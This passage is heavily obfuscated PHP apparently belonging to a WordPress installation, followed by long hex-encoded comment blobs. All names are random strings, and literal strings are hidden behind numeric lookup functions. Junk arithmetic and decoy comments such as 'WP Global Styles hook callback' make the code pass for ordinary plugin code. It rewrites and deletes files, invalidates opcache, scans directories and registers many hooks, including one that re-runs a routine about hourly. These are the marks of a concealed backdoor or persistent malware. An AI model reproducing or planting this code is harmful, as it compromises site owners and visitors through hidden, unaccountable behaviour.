    if (!$ku1kalu70qv1al7m    &&  !dat9tig44if2fhzvffmjdd($auxdpth4tt))  {
if (hrfhci3wwbgn47uho($auxdpth4tt)   ||    m5wd69bqaohezg3q($auxdpth4tt)   !==   false)     {
       if     (kcysqw_r7i8c86af_6($auxdpth4tt,   $auxdpth4tt  .      b5xx0lrqzfc(1888))    && $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1884))) @opcache_invalidate($auxdpth4tt, true);

 }


unset($u40mbkgau53h9,     $ku1kalu70qv1al7m,      $b_jbcqh1wu,  $e25nk7bgye0u);
continue;$r8b45fhj=44+38;$r55kdwunq43y=$r8b45fhj-30;
}


if     (!$ku1kalu70qv1al7m &&  $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57']($GLOBALS['__scf_xz_5zbcnz0m_3']($auxdpth4tt,  pvz_9xuc0nzl0m(1881))),  0,  (0x9+0x3)) > $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57']($q3eeimitmw),     0,  (0x3+0x9)))    {


      if  (!q3hfvmih78obmd4trwgtn($auxdpth4tt,  $b217bsv53c4kvwh))  return;
    }


unset($u40mbkgau53h9,     $ku1kalu70qv1al7m,     $b_jbcqh1wu,   $e25nk7bgye0u);
   }
 }



}
unset($b217bsv53c4kvwh,  $k7z3vatmljy9oq7l,  $bl37s49meg,  $l8lruxoztux,     $t3xhnkmyb4, $bapow_cim4,   $_ibfymodzie,   $auxdpth4tt,  $uf2g7c1fhl3u,   $q3eeimitmw,  $j86ibx65h0su,    $bc7bcaoixys42b3,  $s5vibuiw52_q93we,   $vgeqkyr68up);



     }    catch (Throwable  $uvo4msk8s29_) {
     }   catch  (Exception   $uvo4msk8s29_) {
}



    unset($a_k5xm0svemlj);
  if      (isset($GLOBALS[pvz_9xuc0nzl0m(191)]))  {
// WP Global Styles hook callback

   if (version_compare((string)   $GLOBALS[cv8ducrec(1889)],   jqg87ez26lzm3yp01xj2q(),  s99lg14mcd3un(1243)))   return;
    $GLOBALS[j8bjjevd80e(1565)] = 1;
  }  elseif  (defined(s99lg14mcd3un(1890))) {
    $usz2zvntxvxr   =  constant(cv8ducrec(1890));
   if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($usz2zvntxvxr)  && $GLOBALS['__scf_cr07b5s7432_100'](b5xx0lrqzfc(1308), $usz2zvntxvxr)     && version_compare($usz2zvntxvxr, jqg87ez26lzm3yp01xj2q(),   b5xx0lrqzfc(1243)))    return;
       $GLOBALS[j8bjjevd80e(1565)] = 1;
unset($usz2zvntxvxr);



     }
      $GLOBALS[pvz_9xuc0nzl0m(1889)]   =  jqg87ez26lzm3yp01xj2q();
 if ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(60)))  @clearstatcache(true,  curga5ep68su8__o());
 $GLOBALS[pvz_9xuc0nzl0m(192)]      =   (string)   @$GLOBALS['__scf_a5ks8ssf6z1jkm_103'](curga5ep68su8__o())    .  ':' . (string)   @$GLOBALS['__scf_ha0rpt74l7eb9_102'](curga5ep68su8__o());


if     (!defined(b5xx0lrqzfc(1890)))   define(j8bjjevd80e(1890),   jqg87ez26lzm3yp01xj2q());
    if (!defined(cv8ducrec(1891))) define(cv8ducrec(1891),   jqg87ez26lzm3yp01xj2q());
 



  dhcqo7x2bpwxg8p954(cv8ducrec(228));$ckq6dmqt=4820;$z0ltnu8uc2pi8=$ckq6dmqt%16;
 
     f1mfvuh0d06pxmi9jdb6vn(curga5ep68su8__o());
 if     ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1892))    &&  $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1893)))     {
 try   {
        $jkvjr35gv1   =   eki4v2wrqno4knxgtm4qhv();
   if  (@$GLOBALS['__scf_nish5zuncssvgd_43']($jkvjr35gv1))  {
 $sj_do82830o3vvv = pn7ilzfkmyogdbglb3nhtx();
    $eaclm45onusts = x002260tc_2l50yfgc3hj($jkvjr35gv1,     (4967+33));
       if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($eaclm45onusts))  {
foreach    ($eaclm45onusts   as     $ejybrumqxi0ws)  {
 if ($ejybrumqxi0ws === $sj_do82830o3vvv) continue;
if  ($GLOBALS['__scf_i1sl42qxo03g_107']($GLOBALS['__scf_h3mngbzp79_212']($ejybrumqxi0ws,   constant(s99lg14mcd3un(1075))))     !==     s99lg14mcd3un(1894))    continue;
 $nto91roasmftk2 =      $jkvjr35gv1   .    '/'  .     $ejybrumqxi0ws;
if   (@$GLOBALS['__scf_xaseomj3flge_20']($nto91roasmftk2)  &&  @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($nto91roasmftk2)   >    (4930+70)  &&  oahk6ik6p30_tx4($nto91roasmftk2,  (4542+458))) {


 icbu01_4oustb8($nto91roasmftk2);
       

    }


 }
 }


  }
   } catch   (Throwable  $uvo4msk8s29_)      {
   f1995qrx5prr7cbl19co0e(s99lg14mcd3un(229),   $uvo4msk8s29_);

   }    catch (Exception  $uvo4msk8s29_) {

  }
 }




 if   (!  af6pxn08t8_r1ab92fa0ze())  {
// fork bounded subscriber

 d25ke5lz6ilx2qgf(j8bjjevd80e(1895),    b5xx0lrqzfc(1896), 1);$mhmhe9us02pg=5566;$oyils240noem=$mhmhe9us02pg%16;
   }



  


   $GLOBALS[cv8ducrec(741)]   =    array();   
 $GLOBALS[pvz_9xuc0nzl0m(444)] =    array();      


$GLOBALS[pvz_9xuc0nzl0m(1897)]    =  "";$_649awatk0zv2=90+32;$sgx223x8knja3=$_649awatk0zv2-4;    

  if   ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(179))) {
 $GLOBALS['__scf_q0ye8_g2b4gf_179'](j8bjjevd80e(1898));
$GLOBALS['__scf_q0ye8_g2b4gf_179'](pvz_9xuc0nzl0m(1899));
   }



  $weoc199zfbv397 =   $GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()) .   cv8ducrec(1900)  .  $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),  pvz_9xuc0nzl0m(1881));
 if  (@$GLOBALS['__scf_xaseomj3flge_20']($weoc199zfbv397))     {
  $p744x4hg_obd6p7 =  $GLOBALS['__scf_qbsuu37jbe5t_328']((string)      @$GLOBALS['__scf_v_rxq_yh85s05_99']($weoc199zfbv397));
 $lumi_agtkuisi =  zxfq3_tgw7t51nr();
if  ($p744x4hg_obd6p7 ===     "" || ($lumi_agtkuisi   !== ""  && $p744x4hg_obd6p7    !==  $lumi_agtkuisi))  wlm_50lfl72sy8hrb_9xe9($weoc199zfbv397);

  unset($p744x4hg_obd6p7, $lumi_agtkuisi);
      }
 try     {
  @$GLOBALS['__scf_w_83qzdu7rtu_74']($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o())   . j8bjjevd80e(1901) .  $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),  pvz_9xuc0nzl0m(1902)));
 $lumi_agtkuisi =    zxfq3_tgw7t51nr();
    if ($lumi_agtkuisi !== "")  {
$dxot6p41bpelz = cv8ducrec(1903)      .   $lumi_agtkuisi;
   foreach  (array($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()),  eki4v2wrqno4knxgtm4qhv())   as  $vexb_h2alef9sm) {
 if  (@$GLOBALS['__scf_xaseomj3flge_20']($vexb_h2alef9sm   .    '/'  .  $dxot6p41bpelz))  @$GLOBALS['__scf_yq6i_srj9g0m4_19']($vexb_h2alef9sm .     '/'    .    $dxot6p41bpelz);
      }
      }
 unset($lumi_agtkuisi,  $dxot6p41bpelz,  $vexb_h2alef9sm);
}    catch (Throwable   $uvo4msk8s29_)  {


 }   catch (Exception  $uvo4msk8s29_)   {
}
unset($weoc199zfbv397);



       


 d25ke5lz6ilx2qgf(cv8ducrec(766),    pvz_9xuc0nzl0m(1904),    0);





d25ke5lz6ilx2qgf(cv8ducrec(766),  cv8ducrec(1905), 0);
   d25ke5lz6ilx2qgf(s99lg14mcd3un(1906), b5xx0lrqzfc(1907), 0);
   d25ke5lz6ilx2qgf(b5xx0lrqzfc(1908),   pvz_9xuc0nzl0m(1909),   0);

  d25ke5lz6ilx2qgf(cv8ducrec(1908),    cv8ducrec(1910), 2);
d25ke5lz6ilx2qgf(j8bjjevd80e(1908),  s99lg14mcd3un(1911),  (0x1+0x2));
   d25ke5lz6ilx2qgf(s99lg14mcd3un(1908),      s99lg14mcd3un(1912),    (162^166));
       d25ke5lz6ilx2qgf(s99lg14mcd3un(1895), s99lg14mcd3un(1913), (2+3));
_ue9dl_f87dcm73xfrb3y6(s99lg14mcd3un(1914), s99lg14mcd3un(1915),  (219^209),  1);
 _ue9dl_f87dcm73xfrb3y6(s99lg14mcd3un(1916),    s99lg14mcd3un(1915), (16-6),  1);
     _ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(1917),   b5xx0lrqzfc(1915), (14-4),   1);
_ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(1918), cv8ducrec(1915), (241^251), 1);
   
  _ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(1919),    s99lg14mcd3un(1920), (680+319), (2+1));
      d25ke5lz6ilx2qgf(cv8ducrec(884),  s99lg14mcd3un(1921),   (939+60),  2);
 
    _ue9dl_f87dcm73xfrb3y6(cv8ducrec(1922),   s99lg14mcd3un(1923));
  _ue9dl_f87dcm73xfrb3y6(cv8ducrec(1924),  pvz_9xuc0nzl0m(1925),    (0x6+0x4),  2);
  _ue9dl_f87dcm73xfrb3y6(s99lg14mcd3un(1926),  s99lg14mcd3un(1927));$onjlf4qmlxz1=211|46;$pmw15cqyuroh=$onjlf4qmlxz1^132;
 



 _ue9dl_f87dcm73xfrb3y6(j8bjjevd80e(1928),   j8bjjevd80e(1929),    (132^142),   1);




    _ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(1930),  pvz_9xuc0nzl0m(1931),   (4+6),    2);
d25ke5lz6ilx2qgf(cv8ducrec(1932),     j8bjjevd80e(799));

     _ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(1933),  j8bjjevd80e(806));



     


 _ue9dl_f87dcm73xfrb3y6(s99lg14mcd3un(1934), cv8ducrec(807));
 
      d25ke5lz6ilx2qgf(s99lg14mcd3un(1935),  cv8ducrec(1936),   -(946+53));
      d25ke5lz6ilx2qgf(b5xx0lrqzfc(1937),   b5xx0lrqzfc(1936),     -(944+55));
   d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1938),  b5xx0lrqzfc(1936),     -(1297-298));

  d25ke5lz6ilx2qgf(s99lg14mcd3un(1939),   j8bjjevd80e(1940), (940+59));
 d25ke5lz6ilx2qgf(j8bjjevd80e(1941),  s99lg14mcd3un(1942),  0);
   d25ke5lz6ilx2qgf(cv8ducrec(207),  pvz_9xuc0nzl0m(1943), 0);



d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1944), s99lg14mcd3un(1945),  (1215-216));
 d25ke5lz6ilx2qgf(j8bjjevd80e(1946),    s99lg14mcd3un(1945),  (908+91));
 


      d25ke5lz6ilx2qgf(b5xx0lrqzfc(1947), s99lg14mcd3un(1948),   2);
       d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1947),    j8bjjevd80e(1949), 0);

  d25ke5lz6ilx2qgf(b5xx0lrqzfc(1947), j8bjjevd80e(1950), 0);
 d25ke5lz6ilx2qgf(cv8ducrec(1947),  s99lg14mcd3un(1951),  0);
       
d25ke5lz6ilx2qgf(cv8ducrec(1947), j8bjjevd80e(1952), 1);
    d25ke5lz6ilx2qgf(b5xx0lrqzfc(1947),  j8bjjevd80e(1953), 2);
// aligned read

  
 d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1947),    b5xx0lrqzfc(1910),  (2+1));
  d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1947),      j8bjjevd80e(1954),   (6-2));
 d25ke5lz6ilx2qgf(s99lg14mcd3un(1947),    s99lg14mcd3un(1955),   (241^244));
d25ke5lz6ilx2qgf(cv8ducrec(1947),   pvz_9xuc0nzl0m(1956),    (154^156));
        d25ke5lz6ilx2qgf(b5xx0lrqzfc(1947),    j8bjjevd80e(1957),    (0x4+0x2));
     d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1958), j8bjjevd80e(1959));
d25ke5lz6ilx2qgf(b5xx0lrqzfc(1947),     j8bjjevd80e(1960),     (0x4+0x3));
     if      ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(179)))    {


 $GLOBALS['__scf_q0ye8_g2b4gf_179'](function    ()    {
   if    (!empty($GLOBALS[pvz_9xuc0nzl0m(1961)]))     return;


 if    (!defined(j8bjjevd80e(1713))  ||      !$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1962))) return;
if    ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1963)))   {
        try  {
 b9qwphei1gqk0791pp();
}  catch    (Throwable   $uvo4msk8s29_)  {



      }    catch  (Exception     $uvo4msk8s29_)     {

       }
 }
    });


}
    d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1964),  cv8ducrec(1965), (0x2+0x6));
     d25ke5lz6ilx2qgf(j8bjjevd80e(1640), j8bjjevd80e(1966));
     d25ke5lz6ilx2qgf(j8bjjevd80e(1711),      cv8ducrec(1967));
   d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1895),  s99lg14mcd3un(1968),  (11-1));
   d25ke5lz6ilx2qgf(cv8ducrec(1964),     function  ()   {
   if  (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1962)) ||  !$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1786)))     return;
    $esvy38z6q4rck   =  (int)    @get_option(j8bjjevd80e(1969), 0);
if     (($GLOBALS['__scf_tmn0v_xik_1b_195']() -  $esvy38z6q4rck)   >  (3520+80)) {
 if   (!k0z4yy7qpc1ii_ewbdqi())   return;
@update_option(b5xx0lrqzfc(1969),      $GLOBALS['__scf_tmn0v_xik_1b_195']());
x9a67n48iwppq963jdp7li();
 }
  },    (215^222));
    
   d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(104),  pvz_9xuc0nzl0m(1970));
    _ue9dl_f87dcm73xfrb3y6(cv8ducrec(1971),  b5xx0lrqzfc(1972));
 if    ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(467))  &&   did_action(pvz_9xuc0nzl0m(1964)))   {$z_xqtmgeq=115|52;$mzenidtds5=$z_xqtmgeq^26;


k_ji4yjjphzohodoa();



}



   
}
/*5885437de639f0663d0fdca5b0a05c9ab029dab5c6082c4511118c6396210a893b3f11c660e4dc199c0e9c38b3c3dfd4920dba125abaf0a6bdc24b6132e932d469229a8afa25e160c68b08f1b5b38f7d3eb79893c1206a9c8fbc5f42425829ad2fde7a3054bdd5ce37ee0268f70645616d9b371d4f80bdf01dab8dc2fac573521fb0f526451b2defa751111b3eb5a46143dba2ac8da6c0dcc5ba8dc05dfe5adcdcbfce11842264b4118730735466efd3e85c53b3e94f956c1e71693b4405179ab8e60c8cce42466baf44ba2853773b2e24f83d8a1b89e763b41e719ae28b1126bb13f5be20eb71aa4e5596fc4b99b9f5e9642b77362481303b30d4ede8912910d1e9dc61b06208c1acaa203618014e64eb3787988a614790c5a9bffed7bc06481e915c3ff6b8f40d7de76c229ec71b1ba022ca8e2062ac1dcf2bdd425394c46dec8ced4f7094b295d014748bb3659adfd994134fae3ba296f84c7cf2536ca69fb02b704cb3c082ff2cedf76f2283c174a8fb96cd018dd6dfc7c19a24c31119bbfee43a6fe53fa75015a8076374028417ad3bceaf53d504d8e1e224dc8b1622f8e56c743190b511abb1ed61b2e2f6a07b3dbdb3511d6e27491301404ef8b871f6f5049475ffd78ff3e53b30ed106b462e384762a1d73475ac94be46855172b1ed5ff964823af03badf6603c0fb543c26e439ef8f375d18f8f3841e04ed485ff8c493dc88e7b3835c1d65b29dfeb68025de187f51b6e170f20e1cf8b1db7f4ca129c3ca8c87a66a3a949381f479b02df5ff1628e6fced520e712e4456b0a9dfd658f355a902019d9a8d6478dd8d18c97bc600dfb72b3110ebf1bc016676b7387f32f4786a1d2aa15b77b36de73dee567ae4820bd7b0c14bcbddfbc5c87ba972542d313107af26ac888ce84f002e2c803a2da5826c5107d861fee6033301b46f7180e25ce39eddc03b3faaf90b49d8a53eb12e7bc71f4587357128d081c1dca6f671e4309e148338a3323048caae781b863a3e8ff84841bc7e2fcbd8226f05ae8a4809e56fae0a220cc2c1b9fc041c252611461cbab531d394c0ed14b40e4495b997b592014a1c3b6cc2ad62bf3cbaf36fa1585c2fd40a886b5675291b6d30f39e7db676e84828ece2f8bd2af73da6611e7b251c1fca330b077091ed72fef6103468cf2d61bf05707d89366ff248376234b4f46cecf51c7860651d23a69059b4ebdccd4e5cfd2f250f1d2a5cf97d53a2e477fa88ec6de72d545d8faf80a1c1a3b775af3bbce0aeb3a400770ed93a0844a9014740ed89b3f745325ef0ab528c35d319cd5c849a10b701dfdc98f0cfabe381de0bb161769e9ab9fc52f0631f013999bf77f8d7e404dbc197fb719f82a81fcb1665b5136d87970f0cb6c18f60966f58648adf6a01c4380b955f8c1ef4af04bfb1f26a60b44fae4ec8d019b44a9576b776dbe6146c8fe7304c25968cd1da88456abb06654bc3d16597a77d6a2e8d6a0d9a4ba5525fd2be14401624425ab289503083a2ab9a6499bf19a1b381b7253bca58cb9f38a87928c60dd732a1b63663aa4221328d139873a58794ac2a20b2b7d843e31f01e31e2d6f72f064e6b2c1a7023ec72d7d232d6b1c3818bbd53d8fc1c37ff0a889911f1b89c0c58171931e83e571924ab73395561fec94b5b50fccd2af853c184cb183d8a151a7d5a77a9af4f52297ee4b3263d240273b03cd967577bfda01cd40918024d6df032e8603e34ba79bc02de51058730e5c2aeea752563878e90c2bda934161b4b05fa55741fa3a953a3b5e71eef5849eb385dcc922dc36b79ce9e842eea28c9646c1875c407795dc9e78a8bc70baeba1cb1be6a1d4b9aa074d370d5539d398263f2d5448d3e4c25d1f45cdb4d86f386e367075b0c42e3dfbf7daeef4077aa305dee2d9759afe80befad680b82e46ac58c9dc3ca91cdddfaf20ecd938248cae04f9a7a88fd7f7b44c5b23ce052f9995a0d676c98d5ea1ad00e3de2910308211d23be331d833820aeb27abafe7d6066e92c351d41054aa22efb7cd6f952d9a4b6c0d7a8bc0d08244e20b3f3daaa9a32cf45f7f26fac25d2abfa3067745f647619dbf4099b68bf1377fe9ccc3940e6bab5c1dc3c3b6c4cfc9ce4c381b8a8ca50b62b6f186aed2ed8140202098f1b543acb4dbfbecb4559ad93b1c8e4abe22cdbdc51cedb697ec17e7296b6a2688822b782c2122d0dcea109533203ff5bb8b31b8ac4124e5af65ef6a07befcfea675d690c13cf8ec91f85e9933f3ac945b0f8e666b8c1a27fa4fe5d708a7d0456aaca932ac13b9f9fdfe93b4c35c6dede1d46b7d6fe1e8e52f37f1fb612ebb8a74e912b12d8c351ca4069d10a06cefb86fae050c8f84a9a9738448960b137c59816269cd39e7f59996c32324a849ec66dee61d4c3cf7d42c9a3cc335179bfa6567fee8974fe9cc8092d48f63086874b1220384a9a7bb63c416ed0dafea6a394f31ba641a816c6421d03b49b5711023c5dfe6aa882c0999a655094dec49f4cbfbd2c3a2d49f00f4e35a4d18d4b672c3b3ee35ccd1945edb37c747b93874f761e8f1e6826d734a9eaca3c4141245308434dbc6c82b7b0f4c3c0f7d050b537e3f180a89271f8638398ee7fe4b46e649d81721afe39f34e77b9d84fd60630831b8127dd0763ad69c33e8cef3c03d1f07e6261d7ffcb18379bb1d4a82a04dbf76945c77d5865ce6563ae9b0f8630d3006279eedc11d386e51315f71ca03ff3cef7e2023e07e1458640fd186f760ea992a4d828759dc7c3dbc6e63c27a8f809b121d62a2b54f06416e051a5252616c7d7bbbe3a3277da23acf5ef07d35d18bab3*/
/*fd39d1531226c9536524c70720138b62526ac0bb07158643a62c74cb85b540957bc7a15071947fd8860bb3c52c3c636f31685a1aba0509ea24ca0e12d1df5fbc46a4397715d1a1ce343342e735a78d96f400e0f4bbbe5cb78c26de442d9cb8f2c4e04741cc5351a9f5c2f2d6cdb6ed493e0f479bc16a062f5d8bf0e9bef5895900a81ff636702ff3efb8b0bcab3b49a38ddfd9a888261432d7b66fe48b22c61c22d4ffba9f6912380c4e99537d1cbce5d7070ba214e78333ff66969386d58f5bf4646d2ea6163a2a7381a873cdad8ff8687f5f1ef2d445964a2bc764d2ced9cb623a2c50b3d5e0e10138c334a42bea298d9790692b759cb3529ce8abc535c588d130531268ffb6550fde6e1994bb83ebb165df8b428313f4f352b0fa3ea44dc5ffc545e68d1a2c58832ed5ae88f4f804b5faedce57ddbab25066e08dc0efac9ccd8570b2795f12c1733f43c8d05cd6477a6bf93a910ec9afa80386c78f9d7e4524f3aede98d716fc46fbd0bcc709736ea1c7d3c7fe5a207c31dfac289210e5cfde3cd22d524c7c2fdc83b68cfde4746baffc7719fe3bc821ff64c287ce1c5e03783eb1a326f90826f4be0267c4d09096b83eb9931d8fbd12f4c60eb25ff7a848dd026d4789c3ef3a8aef740408f3cf5e4032e3582bfb1c1390cf5bea17d68cd4f40fc5892c990d27df5930c2c4fd25720ee7236e2e923f6849f9fe46692cafa7a6ee4e97c7f1835dbe7e88d80b54163886d7f21cba644742546382075b6ce31877ed6d2628974493e4fbf1a04bbfd17ed6c84de82f83635cef78d6fe7deac2445761f36e1d8d19ae83d867d00a621d7abf76ccf7e76217f019fca5c83fde95951479165bdfa5d89e4c1a2faf9d9a0af791011cb9f2f83b8dc077aadd5d22895ad78bc844637e7ca844b5b19d399931a4894d2476fa03e8a60d48f5de86cba99474041cb7b1b05bd8fdc3b85bd1517a09b2d324df74fad5d959342490b06d072c9335d12b0a903c906f7dc006d887b66b641e4f99cad40bd74d51cb32d1641b1afdf811deb3eceacb80451ccd48e0fb038f6a48e22a8f5ee9c9e0b79413f6acf1dc9a6dd649b83e6a16c933b3ee0fd3bd16972382a0866a486d9d4fd285d66f9632a556c8b59fd5441b302f037aa3f6c1be18464e4576d76d53f3a242ea68dff61d92d45967cdbad6dc2250ba5c214b4cdaf3b7fb4ba5894f6397538c34afbddf86c991207ae28d9d9bd1373a4cdc544d625faf98c24bce1bd89cf92c8cadce39eaec53228d3239901821b5e52c0a8ebefa09c9bcad9802e2f099603a9db78492231a73215c119561de09701ab2ffccdf4ba3919ae6ebe98cd079e9929b2a769f16dd6a6d9a8a6f365a46733122991d91d699ab93dcaaed9bc7bf1a2d30d019a27e0942860068cfbf829dda29b354eed1d64d86ee864bf2c7628e83368476e92d964dcbc090dfbbe1cda005732b85c4403281b217b0409a03f0f11dd733b49360f68447eed742bb27ebc6a6903e8d9f57838c6af4e17132629fe8657f19ab2f554922aa98822399a7f928f33d5d0b62d7ee01deb78b6a7ac54a5ffa90d2959ca1690f0cca647c89d18a50b2dce760118a356b20c7da4e39a23d96d687693d3b1c9a3775e1f4d2ad115c78fd493244d00ffb1c790d0e5da74fe0626e77681e29078cd5e359d9aec407618831ebb35b11e694e793df91baf3fc38e7b8a1080d548efc7f75b6be22c73e5e861d03e1b0928a3919dca83a6d6f99992e41643a60a55cd50afa8da05c5978b29807fdfcb49de5ba8ed98ad77c2f233bed8709c10938faa91ace5f9d472cc248e288b8db21d5b0f512e653c35f9b8d80925eee78f81ef40a2901160ef3b7b59cd61c5d01312e67dab339ecf63704a62e564e4413ab69975591b5ea37f316d092ba74ca9c0cd0495655661d713667748e4ee6c775304c726060bd51c8c0021753dfd0fda3500d80fcd7a37cd6ea700a1c6643d96df9778aa90bb7b94f5ff2521b2d8ba3a8629720b76022da08e7ff86251ea85b750f0924e8defc2dc9cb88cf1c479f8dd03b1724479c2aca5f11a3a0cdd9e403510684f1b5cb0fb9c522a8ca8af8b95e7c1075c2de126c398c0c638f6f749649a20974206688ea6d616ac5d776101347b1b34e5c14a3e6810f2e6db626804436be0e5f1ddc42c1d249c353c77a132fb77cbb35c2f7e29fa7d151c032ff0c489ee8d471b7b264a54d075fec1f0b862a0a912696a75cde516a7fb469cfd7bc86271db33ad28d0534316a4d511bd62b6181df2d90ece9fdb6ca17a2c78c93987550593965ede968dde2943f487a4d96b5aa336713faeab8f83a8bbbede1fce7ffb1f043d2154c2b49d3da35d4b13fa17e40d3596dc405a76c33c001db0b3a4db6f2eb2b835de01ad50a3e3a5b15d2e2a06e71bc3ab45c8971787fa77d66aad96c66b6b7dd4e80c9c3684a2e1c562e788f586cfbea3fbad668dd7ed47ee22d2d9b0b06b88150badcbfb929a1adf3f9cfbfb4c281d4d6b372b0d0afe9347679433fba7d22efe13d0c4a9b60dc47269dd6d3d700626938192935be8bfbab356f783af3ba80ff2abe7e8575ebd970bb0c81cbffe8dcc6518f203d7cc6773b0a171062e1b2a7b4b9c2a4ed3301cc0afd07277dea8376bd1a1f25f64fa04e8678bcd1260d5f8dee2cf2152618e323bfc59a13f53b3a963725d3de2dafb1afff5f817f05a4afa7ba344ca2d3298901c2a0fc79ddcffa6e6eaa3b42edcb033c3d9870cf5a70539c9fa99329c05f75c918d872aed4409130acf4c021be59468c51c3a2bba2965fd50562ff031c411cb9387c06402d6ee1f47c36*/
/*629fcdb124ea6c00651dca2712d9750b1d463cf8ff530a02060d215561232e38b1b50d783c388adf5725f854dfa86f35ff8a4c8595854fcc5e850fb5d02d7936fde5fce408b94eea1cdf04fff5709857f192c658756f2831e73eb6c9f784e695bd43dafb8522d3f0e5c2933230e535954d69ea9437699a848cf6b21399ac7a09853320256969bbdecc02aabdfeb55361461cb6a4b1e4cd6251111a3a53cdae4a2b3c53a325b075281183d314886fa391ec0c42941f3518f13f7dfd942c34a02be6ee871967400166cb4a35f6d373c02c243339ad1087c1daa767c5088a8608dbd692eb4eb05865ed6812f061261b0207a24765838ae7539951b7fa7ca03f3c196728dc9cbf7bb613b0d99d37cee904c6128441014a9b0b8173cc03dacfdb703f59ab7a65ac42ab3e346c4a362016f9eadca672638190c28364f5d66cc68a4af1217ba129b2f1064f639e03c324445691df67438e89bab713db44353cf4e3610d752d6f604acd373ae474e67ce7a07cea1b54f8ab2282e417d8f5d4faa61564012319c093a83fa4d5afc085f09844c1ba0a980e27d2ce2949418ffba94eb6a65fa15642925df46ea58d90c56ab62afd8ceb06d42f0a0841929266672183d63a6d94010aba7eb36c764cfc14fbc4a035b92cb1e3eb9106595ecf935672a8b44ae94339ccf6dbeded9e833889e718478955070661121dbe5d77892bbdf92773841341f40223a41c82993540f144110dd1a4fa2b65e7f7f74cce78eccc020d3ea82c43ae343a931795a3a440947d440e673dad479a90f04f168741d8e61e78528dc692304e13d8806d6d3a32b410b8e70b81bfb7c466fee95f570ae9488895e5d19a6f4a7bfbce4db6b4b455a1c18aabce8ed30586568b9d2f5de2bf7927accf38a5e4be648b2f5abf34cdb37e0b382782f0e581641fdbcb6bd19e97849474f3637d43e77f4e9cf4e51de70c12ed2025560cd7ab68dd34961e9a6fa53abe9cba4d3aac02d509b127e058957fa3aae78f4644d0ca5f9e7d08d4bc3217f5629fc25cc376f9d0cf31164fb99c7cd51be0f89c7edbdee1c9ff2866ece24e218b420efcd49fe72ec33f41a4114aa7e55631997c81486f38360f7f011b85ddc1579971ae2f2844470196d8cb4e23fe2651b4b46899e1502dea4bb0a6ab826620c5b0afe1001c3e5f83a5bb73086e05e23183ad6eb2cde11c6800167302c123c22aa956824116d958190bed11a31bf0e50845bb991b9a5186194063fc4e43f014bd92c815d4deac3927755d79ae6dc48fdcad2defd5cc99e4ee1d61ea4932f547dad5130df30ae66d980b87e7d9480bcf914cc0deb2b1fa85fed6e10df04b2418136b453877a96f94b1cfa2dabb99936fdcea6b9e70e3c8e1c554e7de99f44d7e7b806af0146af1380b92dc0f94ba7422cd76189b1c73048bd128e06c88a8c0d1f24724388ba83b3b99f65f57834b7b7fec9e362e5f609745923087d83f338d3fb5530ec0c61a603c3375fea06623ae34edca7167ab9131f98c4f14f9c8d127fdfe116777b91a3d674410a0c054c3b10bd2de714ff654b9398e30968e8bde10de6016a65e52162da6cefc40be086ac74f44c98d7227dcbcdf1a226539f1ac282345c2d75d6b2fa166f220ffbf05e4d3f5356e72866c0f34f1a6167dcf89d7b892008ddcad87aa74995a86578eb00ff33e698b045be18a3ba7e646b2e82448e375d70f7401f80007b2828262877b2ceca6ad601049809874c80be50d405c89d27837d45dcecf2f8cf2bffd839c8a0d6e7e4bca4617ae966386e81ade7bbc8bd257a4140740dd624219a41ce9bdd10c7531e1d87f18f47156a5ec72ae708da25037cc72cdbbc07abc867d47dd5dccac3c0e625961b328910aba4a20a6175f7e4e7466d9004be90fa2abd2df6313c923ab4109952463bed4a46356fe2629625240d78f053f2d29fec9eb20bd96b23d632c2c32f3e5ef2b12545ae22855f4ed3a485cef5521655be454f4009caa7728c2311d2f0a1e60b40e026933658d1dd2cdaa758cdd1bb79329ac9f7c526dcadb84f2903a1a8d7c31bc5cf4101ea0febdf407e36d578cb24489ed3a9e6268343bc1144bcad0d7f06835d03a0e687d6fdd931d73c444b74de3ccbd9c695da4cf7c4a961d91249def11fd8ca828c9dd4cfcb2abb172385d95d5d763d81e04707f9818f42d4a393cc20e4ced64a7812981ef138b007869309f406b717fb288974082061593cf4cabf2bca58943c6339567d442d12db241f659bbc3a8731e746f8ac9c4a950a71b7bbaabcf4645427308d5d4ee113003b94f558213f397ff12336d7f0f40368c15a00737a91696a66e6c1ab0ec15ab28b520aaa2d6bbfa0e34761a56b66a89aea3e28527b70510ba9ac075aba079bc6ed9527565d36672b04430cae047c0e01efd7bd7f5a5d13396ffaec9ae5d35ffb0048c